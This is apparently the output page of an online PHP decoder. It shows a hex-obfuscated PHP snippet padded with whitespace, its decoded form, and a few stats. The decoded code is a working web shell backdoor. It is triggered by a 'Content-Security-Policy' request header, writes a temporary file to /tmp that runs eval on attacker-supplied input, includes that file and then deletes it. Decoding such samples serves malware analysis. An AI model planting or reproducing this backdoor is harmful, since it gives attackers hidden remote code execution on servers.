Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$_HEADERS = getallheaders();if(isset($_HEADERS['..

Decoded Output download

<?  																																										$_HEADERS = getallheaders();if(isset($_HEADERS['Content-Security-Policy'])){$c="<?php @eval($_REQUEST["Clear-Site-Data"]);@eval($_HEADERS["Clear-Site-Data"]);";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);} 
 ?>

Did this file decode correctly?

Original Code

																																										$_HEADERS = getallheaders();if(isset($_HEADERS['Content-Security-Policy'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x43l\x65\x61r\x2d\x53i\x74\x65-\x44\x61t\x61\x22]\x29\x3b@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x43l\x65\x61r\x2d\x53i\x74\x65-\x44\x61t\x61\x22]\x29\x3b";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}

Function Calls

getallheaders 1

Variables

None

Stats

MD5 b520a2e7a2de2ec81feb8566b7029b6d
Eval Count 0
Decode Time 78 ms